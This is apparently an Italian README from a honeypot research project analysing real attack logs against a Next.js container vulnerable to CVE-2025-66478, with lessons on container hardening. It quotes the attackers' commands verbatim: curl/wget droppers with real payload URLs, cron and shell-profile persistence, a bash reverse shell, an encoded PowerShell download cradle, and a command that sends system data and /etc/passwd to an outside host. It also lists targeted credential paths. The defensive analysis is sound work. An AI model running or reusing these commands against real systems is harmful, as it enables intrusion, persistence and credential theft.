
Analisi di log di attacco reali relativi a CVE-2025-66478 (Next.js Server Actions RCE) con campioni di malware, tracciamento dell'IP dell'attaccante e lezioni di hardening della sicurezza dei container.
Questo progetto raccoglie log di attacchi reali registrati da un'applicazione Next.js 15.1.2 esposta su Internet (eseguita in un contenitore Docker). Questi log mostrano lo scanning e lo sfruttamento massiccio della vulnerabilità CVE-2025-66478 da parte di strumenti di attacco automatizzati.
Intervallo di registrazione: 2025-12-04 ~ 2025-12-06 (circa 48 ore)
Informazioni sull'ambiente:
Gli aggressori hanno tentato di eseguire comandi per scaricare ed eseguire malware sfruttando la vulnerabilità.
| IP di origine | URL del payload malevolo | Descrizione |
|---|---|---|
| 216.158.232.43 | http://216.158.232.43:12000/sex.sh | Botnet/crypto-miner |
| 38.207.161.212 | http://38.207.161.212/agent | Programma agente malevolo |
| 43.156.63.124 | http://43.156.63.124/tsd | Backdoor tramite cron |
| 154.38.121.219 | res.qiqigece.top/nginx3 | Malware camuffato da nginx |
| 47.79.42.91 | iot.632313373.xyz/nz.sh | Script per botnet IoT |
| 47.79.65.237 | sup001.oss-cn-hongkong.aliyuncs.com/python1.sh | Crypto-miner/backdoor |
| 103.135.101.15 | http://103.135.101.15/wocaosinm.sh | Script malevolo |
| 38.12.24.231 | http://38.12.24.231/kworker | Malware camuffato da kernel worker |
| 128.199.194.97 | http://128.199.194.97:9001/setup2.sh | Script di inizializzazione |
# Attacco dropper tipico
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a
# Backdoor persistente tramite cron
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd
# Attacco persistente complesso (tenta più metodi di download + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
mkdir -p $d;
if [ -w $d ]; then
p="$d/$n";
(curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
chmod +x $p;
nohup $p >/dev/null 2>&1 &
(crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
fi;
done
Gli aggressori hanno tentato di stabilire connessioni reverse shell per ottenere accesso interattivo.
# Reverse shell in Bash
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"
Gli aggressori presumevano che il target fosse un sistema Windows e hanno tentato di eseguire comandi PowerShell.
# PowerShell malevolo codificato in Base64
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA
# Decodificato:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')
# Calcoli matematici per la verifica della vulnerabilità
powershell -c "41*271" # = 11111 (codice di conferma)
powershell -c "44225*41002" # = 1814113450
Gli aggressori hanno tentato di raccogliere informazioni di sistema per attacchi successivi.
# Raccolta e invio di informazioni di sistema
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`
Gli aggressori hanno tentato di leggere vari file sensibili e credenziali.
Variabili d'ambiente del contenitore esposte con successo tramite la vulnerabilità:
HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0
Gli aggressori hanno utilizzato query DNS per l'esfiltrazione di dati o la conferma della vulnerabilità:
ping 5a58e4a0.log.dnslog.pp.ua.
La maggior parte degli attacchi è fallita a causa della natura leggera del contenitore Alpine Linux:
| Strumento mancante | Impatto |
|---|---|
curl | Impossibile scaricare payload malevoli |
bash | Impossibile eseguire sintassi specifica di bash (es. reverse shell) |
Sebbene wget fosse disponibile, alcuni script malevoli dipendevano internamente da curl o bash, causando il fallimento dell'esecuzione.
I log contengono molti dati codificati in Base64. Di seguito alcuni risultati di decodifica:
# digest: 'cm9vdAo='
Decodificato: root
# digest: 'dGVzdAo='
Decodificato: test
# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
Decodificato: vulnerability_test
# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
Decodificato: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# Contenuto della directory /tmp
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==
Decodificato:
total 20
drwxrwxrwt 1 root root 4096 Dec 5 18:00 .
drwxr-xr-x 1 root root 4096 Dec 4 13:36 ..
-rwxr-xr-x 1 root root 9848 Dec 5 18:00 INSTALL
Di seguito gli indirizzi IP di origine degli attacchi registrati:
Gli aggressori hanno tentato di chiamare Server Action inesistenti:
Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"
Gli aggressori hanno sfruttato il campo digest nei messaggi di errore per esfiltrare dati:
Error: x
digest: 'cm9vdAo=' // 'root' codificato in Base64
curl, bash, python e altri strumenti che potrebbero essere abusati--read-onlyQuesto progetto ha esclusivamente finalità educative e di ricerca sulla sicurezza informatica. Tutti gli attacchi registrati sono tentativi reali diretti a un honeypot di ricerca. Non utilizzare queste informazioni per scopi illegali.
Questo progetto include campioni di malware reali estratti e scaricati dai log di attacco. Per un'analisi dettagliata, consultare:
Licenza MIT
| Categoria | Percorso |
|---|
| Credenziali cloud | /root/.aws/credentials, /root/.aws/config |
/root/.config/gcloud/credentials.db | |
/root/.config/gcloud/application_default_credentials | |
| Chiavi SSH | /root/.ssh/id_rsa, /root/.ssh/config |
| Credenziali Git | /root/.git-credentials, /root/.gitconfig |
| Container/K8s | /root/.docker/config, /root/.kube/config |
/var/lib/kubelet/config.yaml | |
| Applicazioni | /proc/self/cwd/serviceAccountKey.json (Firebase) |
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma | |
| Storico shell | /root/.bash_history, /root/.zsh_history |
| Strumenti cloud | /root/.ossutilconfig (Alibaba Cloud OSS) |
/root/.npmrc | |
| Impostazioni di sistema | /etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow |
powershell | Attacchi Windows inefficaci |
python | Impossibile usare downloader Python |
| Indirizzo IP | Paese/Regione (presunto) | Tipo di attacco |
|---|
| 216.158.232.43 | Stati Uniti | Dropper |
| 38.165.44.205 | Stati Uniti | Dropper |
| 23.95.44.80 | Stati Uniti | Dropper |
| 154.38.121.219 | Hong Kong | Malware (nginx3) |
| 38.207.161.212 | Stati Uniti | Agent |
| 43.156.63.124 | Cina | Backdoor cron |
| 47.79.42.91 | Cina (Alibaba Cloud) | Botnet IoT |
| 47.79.65.237 | Cina (Alibaba Cloud) | Crypto-miner |
| 119.45.243.154 | Cina (Tencent Cloud) | Crypto-miner |
| 144.22.210.54 | Brasile | Dropper |
| 217.60.249.228 | Svezia | Dropper |
| 154.26.192.32 | Stati Uniti | Reverse Shell |
| 156.234.209.103 | Sconosciuto | Payload PowerShell |
| 38.60.212.106 | Stati Uniti | Raccolta informazioni |
| 103.135.101.15 | Vietnam | Botnet |
| 128.199.194.97 | Singapore (DigitalOcean) | Script di setup |
| 38.12.24.231 | Stati Uniti | Malware persistente |
| File | Tipo | Dimensione | Fonte | Livello di minaccia |
|---|
| nz.sh | Shell Script | 931 B | iot.632313373.xyz | Medio |
| tsd.sh | Shell Script | 1.7 KB | 43.156.63.124 | Alto |
| tsd | ELF 64-bit | 6.8 MB | 43.156.63.124 | Alto |
| init.sh | Shell Script | 6.1 KB | AWS S3 | Critico |
| agent | ELF 64-bit | 23.7 MB | AWS S3 | Critico |
| Agtisx.exe | PE32+ (Windows) | 24.0 MB | AWS S3 | Critico |